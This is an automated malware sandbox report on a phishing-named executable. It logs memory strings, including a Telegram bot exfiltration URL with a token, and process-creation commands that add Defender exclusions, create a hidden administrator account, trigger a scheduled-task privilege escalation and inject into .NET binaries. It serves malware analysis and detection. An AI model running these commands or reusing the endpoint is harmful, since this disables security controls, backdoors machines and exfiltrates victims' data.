Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.723973005.0000000003251000.00000004.00000001.sdmp, svchost.exe, 00000020.00000002.759358172.00000000033E1000.00000004.00000001.sdmp, svchost.exe, 00000024.00000002.804585113.00000000037A1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.org%GETMozilla/5.0
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, aspnet_regbrowsers.exe, 00000025.00000000.745218195.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot2030557675:AAF2CRvHF_rfT7tYXz9VN8YUb6kF5qxu_xg/
Source: aspnet_regbrowsers.exe, 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot2030557675:AAF2CRvHF_rfT7tYXz9VN8YUb6kF5qxu_xg/sendDocumentdocument-----
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, aspnet_regbrowsers.exe, 00000025.00000000.745218195.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: aspnet_regbrowsers.exe, 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown

DNS traffic detected: queries for: api.telegram.org

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Window created: window name: CLIPBRDWNDCLASS

System Summary:

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: #NEW ORDER FOR JANUARY 2022.exe

.NET source code contains very large array initializations

Show sources

Source: 31.0.aspnet_regbrowsers.exe.400000.4.unpack, u003cPrivateImplementationDetailsu003eu007bF45394B2u002dD558u002d4194u002dB6CCu002dFB5B9687D7DAu007d/u0039118B742u002d0D2Fu002d474Du002dAB7Bu002d6EF15BBBF32F.cs	Large array initialization: .cctor: array initializer size 12088
Source: 31.0.aspnet_regbrowsers.exe.400000.1.unpack, u003cPrivateImplementationDetailsu003eu007bF45394B2u002dD558u002d4194u002dB6CCu002dFB5B9687D7DAu007d/u0039118B742u002d0D2Fu002d474Du002dAB7Bu002d6EF15BBBF32F.cs	Large array initialization: .cctor: array initializer size 12088
Source: 31.0.aspnet_regbrowsers.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007bF45394B2u002dD558u002d4194u002dB6CCu002dFB5B9687D7DAu007d/u0039118B742u002d0D2Fu002d474Du002dAB7Bu002d6EF15BBBF32F.cs	Large array initialization: .cctor: array initializer size 12088
Source: 31.0.aspnet_regbrowsers.exe.400000.2.unpack, u003cPrivateImplementationDetailsu003eu007bF45394B2u002dD558u002d4194u002dB6CCu002dFB5B9687D7DAu007d/u0039118B742u002d0D2Fu002d474Du002dAB7Bu002d6EF15BBBF32F.cs	Large array initialization: .cctor: array initializer size 12088
Source: 31.0.aspnet_regbrowsers.exe.400000.3.unpack, u003cPrivateImplementationDetailsu003eu007bF45394B2u002dD558u002d4194u002dB6CCu002dFB5B9687D7DAu007d/u0039118B742u002d0D2Fu002d474Du002dAB7Bu002d6EF15BBBF32F.cs	Large array initialization: .cctor: array initializer size 12088
Source: 31.2.aspnet_regbrowsers.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007bF45394B2u002dD558u002d4194u002dB6CCu002dFB5B9687D7DAu007d/u0039118B742u002d0D2Fu002d474Du002dAB7Bu002d6EF15BBBF32F.cs	Large array initialization: .cctor: array initializer size 12088

Source: #NEW ORDER FOR JANUARY 2022.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

File created: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE

Jump to behavior

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_058144F0	0_2_058144F0
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_0581E3D8	0_2_0581E3D8
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_05817589	0_2_05817589
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_05817598	0_2_05817598
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_05816E00	0_2_05816E00
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_081139E0	0_2_081139E0
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_0811C478	0_2_0811C478
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_081139D4	0_2_081139D4
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_08113B2C	0_2_08113B2C
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_0811AB58	0_2_0811AB58
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_08113C0B	0_2_08113C0B
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_08112CA0	0_2_08112CA0
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_08112CE8	0_2_08112CE8
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_08110E90	0_2_08110E90
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Code function: 0_2_08110E80	0_2_08110E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 31_2_01884860	31_2_01884860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 31_2_01884770	31_2_01884770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 31_2_0188DA00	31_2_0188DA00
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_053F016C	32_2_053F016C
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_053F50C0	32_2_053F50C0
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_053F26E0	32_2_053F26E0
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_053F5D08	32_2_053F5D08
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_053F04BF	32_2_053F04BF
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_053F50B1	32_2_053F50B1
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_053F5CF8	32_2_053F5CF8
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_053F04C8	32_2_053F04C8
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_053F0F30	32_2_053F0F30
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078E8274	32_2_078E8274
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078EEE10	32_2_078EEE10
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078EF918	32_2_078EF918
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078E5658	32_2_078E5658
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078ED4D8	32_2_078ED4D8
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078E8268	32_2_078E8268
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078EE268	32_2_078EE268
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078EE278	32_2_078EE278
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078E71D0	32_2_078E71D0
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078E9030	32_2_078E9030
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078EEDD8	32_2_078EEDD8
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078EF8E0	32_2_078EF8E0
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 32_2_078EF808	32_2_078EF808
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_057A1568	36_2_057A1568
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_057A3128	36_2_057A3128
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_057A5700	36_2_057A5700
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_057A0787	36_2_057A0787
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_057A01A8	36_2_057A01A8
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_057A0199	36_2_057A0199
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_057A6348	36_2_057A6348
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_057A6338	36_2_057A6338
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_057A0F00	36_2_057A0F00
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_057A56F0	36_2_057A56F0
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_057A0EC7	36_2_057A0EC7
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_0878EAF0	36_2_0878EAF0
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_0878FA90	36_2_0878FA90
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_08788274	36_2_08788274
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_0878D4D8	36_2_0878D4D8
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_0878F9E3	36_2_0878F9E3
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_0878FA5F	36_2_0878FA5F
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_0878EAE0	36_2_0878EAE0
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_08789030	36_2_08789030
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_08788268	36_2_08788268
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Code function: 36_2_08785658	36_2_08785658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 37_2_013A4860	37_2_013A4860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 37_2_013A4770	37_2_013A4770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 37_2_013ADA00	37_2_013ADA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 37_2_058E6C68	37_2_058E6C68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 37_2_058E7538	37_2_058E7538
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 37_2_058E94F8	37_2_058E94F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 37_2_058E2561	37_2_058E2561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 37_2_058E2670	37_2_058E2670

Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.719160313.0000000000EBA000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.VisualStudio.Language.Intellisense.dllT vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.730764637.00000000036ED000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameaspnet_regbrowsers.exeT vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.719405918.00000000012F8000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000003.705890791.0000000004E74000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameQfpw Hvc.exe2 vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734261757.000000000428D000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameQfpw Hvc.exe2 vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.730697748.00000000036E3000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameQfpw Hvc.exe2 vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameQfpw Hvc.exe2 vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	Binary or memory string: get_OriginalFileName vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	Binary or memory string: backupOfOriginalFileName vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	Binary or memory string: originalFileName vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameComSvcConfig.exeT vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameaspnet_regbrowsers.exeT vs #NEW ORDER FOR JANUARY 2022.exe
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameZakrytyeKupla.exe< vs #NEW ORDER FOR JANUARY 2022.exe

Source: #NEW ORDER FOR JANUARY 2022.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: svchost.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: #NEW ORDER FOR JANUARY 2022.exe

ReversingLabs: Detection: 18%

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

File read: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

Jump to behavior

Source: #NEW ORDER FOR JANUARY 2022.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe"
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user ADMIN~1 SECRET@1234 /add
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators ADMIN~1 /add
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" localgroup users "user" /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup users "user" /add
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" localgroup administrators "user" /del
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators "user" /del
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe"
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Source: unknown	Process created: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe"
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe"
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe"
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Source: C:\Windows\SysWOW64\net1.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force	Jump to behavior
